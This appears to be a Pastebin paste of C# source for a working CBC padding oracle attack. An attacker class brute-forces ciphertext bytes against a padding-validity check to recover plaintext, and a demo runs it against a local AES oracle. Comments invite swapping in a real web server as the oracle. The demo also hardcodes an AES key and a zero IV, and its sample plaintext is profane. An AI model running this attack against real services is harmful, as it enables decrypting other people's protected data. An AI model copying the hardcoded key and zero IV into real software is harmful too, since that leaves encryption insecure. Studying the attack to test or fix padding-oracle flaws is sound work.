Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Security.Cryptography;
- using System.Text;
- namespace TestAnything
- {
- /// <summary>
- /// The padding oracle attacker class
- /// </summary>
- class PaddingOracle
- {
- /// <summary>
- /// Function template for checking if the cipher has a correct padding
- /// </summary>
- /// <param name="cipher">The cipher the class wants to check</param>
- /// <returns>True if the padding is correct, otherwise false</returns>
- public delegate bool CheckPadding(byte[] cipher);
- /// <summary>
- /// Function, which can check the padding of a given cipher
- /// </summary>
- private readonly CheckPadding isValid;
- /// <summary>
- /// The size of the encrypted blocks
- /// </summary>
- private readonly int block_size;
- /// <summary>
- /// A list of encrypted blocks
- /// </summary>
- private readonly List<byte[]> blocks;
- /// <summary>
- /// Initialize the padding oracle attack
- /// </summary>
- /// <param name="paddingValid">The function which can check if a cipher is valid</param>
- /// <param name="cipherText">The ciphertext to decrypt</param>
- /// <param name="blockSize">The size of one encrypted block in bytes</param>
- public PaddingOracle(CheckPadding paddingValid, byte[] cipherText, int blockSize = 16)
- {
- isValid = paddingValid;
- block_size = blockSize;
- blocks = LoadBlocks(cipherText); // Separate the blocks from eachother
- }
- /// <summary>
- /// Create a list of blocks from a cipher text
- /// </summary>
- /// <param name="cipher">The cipher to get the blocks from</param>
- /// <returns>A list of blocks, from the cipher</returns>
- private List<byte[]> LoadBlocks(byte[] cipher)
- {
- List<byte[]> blockList = new List<byte[]>();
- for (int i = 0; i < cipher.Length; i += block_size)
- {
- byte[] tmp = new byte[block_size];
- Array.Copy(cipher, i, tmp, 0, block_size); // Copy the block to the temporary array
- blockList.Add(tmp); // Add the block to the list
- }
- return blockList;
- }
- /// <summary>
- /// Convert the list of decrypted blocks to one byte array for easy conversion to text
- /// </summary>
- /// <param name="list">The list to pack</param>
- /// <returns>A byte with the contents of the list</returns>
- private byte[] PackList(List<byte[]> list)
- {
- byte[] finalResult = new byte[0];
- // Code to append values to an array
- for (int i = 0; i < list.Count; i++)
- {
- byte[] subResult = list[i];
- byte[] tmp = new byte[finalResult.Length];
- Array.Copy(finalResult, tmp, finalResult.Length);
- finalResult = new byte[tmp.Length + subResult.Length];
- Array.Copy(tmp, finalResult, tmp.Length);
- Array.Copy(subResult, 0, finalResult, tmp.Length, subResult.Length);
- }
- return finalResult;
- }
- /// <summary>
- /// Decrypt the specified cipher
- /// </summary>
- /// <returns>The first block, and the decrypted blocks</returns>
- public (byte[] firstBlock, byte[] decryptedBlocks) Decrypt()
- {
- List<byte[]> results = new List<byte[]>();
- for (int i = 0; i < blocks.Count; i++)
- {
- if ((i + 1) == blocks.Count) break;
- byte[] subResult = _decrypt(blocks[i], blocks[i + 1]); // Decrypt the current block
- results.Add(subResult); // Add the plaintext to the list
- }
- return (blocks[0], PackList(results)); // Return first block, because it's protected by the IV which is unknown, and thus can't be decrypted
- }
- /// <summary>
- /// Decrypt a block of encrypted data
- /// </summary>
- /// <param name="firstBlock">The block before the block to decrypt</param>
- /// <param name="secondBlock">The block to decrypt</param>
- /// <returns>The decrypted block</returns>
- private byte[] _decrypt(byte[] firstBlock, byte[] secondBlock)
- {
- byte[] decrypted = new byte[block_size]; // Define the result array
- for (int t = 0; t < block_size; t++) // Try all possible padding values
- {
- int padding = t + 1; // Padding is never 0, but it can be 16 when an entire block is just padding
- byte[] emulated = new byte[block_size]; // Our "fake" block to fuzz the cipher
- if (decrypted[block_size - 1] != 0) // Check if the first result is in the array
- {
- for (int i = 0; i < block_size; i++) // Load values based on the current padding
- {
- if (decrypted[i] == 0) continue;
- emulated[i] = (byte)(padding ^ decrypted[i] ^ firstBlock[i]); // Get the value for padding X
- }
- }
- byte[] cipher = new byte[block_size * 2]; // Define the 2 block cipher
- Array.Copy(emulated, cipher, block_size); // Copy our "fake" block to the cipher
- Array.Copy(secondBlock, 0, cipher, block_size, block_size); // Copy the block to decrypt to the cipher
- int validByte = -1; // Define the byte which results in a valid padding
- for (int i = 0; i < 255; i++) // Bruteforce the proper value to get the desired padding value
- {
- cipher[cipher.Length - padding - block_size] = (byte)i; // Set the byte we bruteforce to the next value
- if (isValid(cipher)) // Check if the padding is valid
- {
- validByte = i;
- break;
- }
- }
- int plainText = (padding ^ firstBlock[block_size - padding] ^ validByte); // Calculate the plain text bytes
- decrypted[block_size - padding] = (byte)plainText; // Add the decrypted byte to the list
- }
- // Remove padding data from the decrypted value (if there's any), and return it
- int dataLength = block_size - decrypted[block_size - 1];
- if (dataLength > 0)
- {
- byte[] removePadding = new byte[dataLength];
- Array.Copy(decrypted, removePadding, dataLength);
- return removePadding;
- }
- else return decrypted;
- }
- }
- class Program
- {
- /// <summary>
- /// Get the cipher text, you can replace this function with whatever you want, for example, get the cipher text from a web server
- /// </summary>
- /// <returns>The encrypted data</returns>
- static byte[] GetEncryptedBytes()
- {
- // Example data, could, be anything as long as it generates at lest 2 blocks
- const string toEncrypt = "HylaNaChujDajeszTakiPoziomTrudnosciBOBIENoJaPierdolePoChujJaToRobieKurwa";
- byte[] encrypted;
- // Encrypt the data
- using (AesManaged aes = new AesManaged())
- {
- aes.IV = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
- aes.Key = Encoding.ASCII.GetBytes("1234567890123456");
- Console.WriteLine(aes.BlockSize);
- aes.Padding = PaddingMode.PKCS7;
- aes.Mode = CipherMode.CBC;
- ICryptoTransform ict = aes.CreateEncryptor();
- using (MemoryStream msEncrypt = new MemoryStream())
- {
- using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, ict, CryptoStreamMode.Write))
- {
- using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
- {
- swEncrypt.Write(toEncrypt);
- }
- encrypted = msEncrypt.ToArray();
- }
- }
- }
- Console.Write(toEncrypt);
- Console.WriteLine();
- for (int i=0;i<encrypted.Length;i++)
- {
- Console.Write(encrypted[i].ToString());
- if (i % 16 == 0)
- { Console.WriteLine(); }
- }
- return encrypted;
- }
- /// <summary>
- /// Decrypt, check if the padding is correct, you can replace this function with whatever you want, for example get the results from a web server
- /// </summary>
- /// <param name="cipherText">The cipher to check the padding of</param>
- /// <returns>The decrypted string</returns>
- static string GetDecryptedBytes(byte[] cipherText)
- {
- string plaintext;
- // Try to decrypt the cipher
- using (AesManaged aes = new AesManaged())
- {
- aes.IV = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
- aes.Key = Encoding.ASCII.GetBytes("1234567890123456");
- aes.Padding = PaddingMode.PKCS7;
- aes.Mode = CipherMode.CBC;
- ICryptoTransform decryptor = aes.CreateDecryptor();
- using (MemoryStream msDecrypt = new MemoryStream(cipherText))
- {
- using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
- {
- using (StreamReader srDecrypt = new StreamReader(csDecrypt))
- {
- plaintext = srDecrypt.ReadToEnd();
- }
- }
- }
- }
- return plaintext;
- }
- /// <summary>
- /// Program enrty point
- /// </summary>
- /// <param name="args">Command line arguments</param>
- static void Main(string[] args)
- {
- byte[] data = GetEncryptedBytes(); // This could be done anyway, the point is to get a cipher text from somewhere
- // This is a function which serves the purpose of the "oracle"
- // In simple words, it decides if the padding of the cipher is correct or not
- // This also can be done anyway, the point is to be able to check if the padding of the cipher is correct or not
- bool paddingChecker(byte[] cipher)
- {
- try
- {
- GetDecryptedBytes(cipher);
- return true; // Decrypt ok
- }
- catch (CryptographicException ex)
- {
- if (ex.Message == "Padding is invalid and cannot be removed.") return false; // Padding error
- return true; // Other errors
- }
- }
- PaddingOracle po = new PaddingOracle(paddingChecker, data, 16); // Create a new decryptor
- (byte[] n, byte[] pwned) = po.Decrypt(); // Get the results of the decrypt
- Console.WriteLine(Encoding.ASCII.GetString(pwned)); // Write the results to the console
- Console.ReadLine(); // Wait for the user to press a key
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement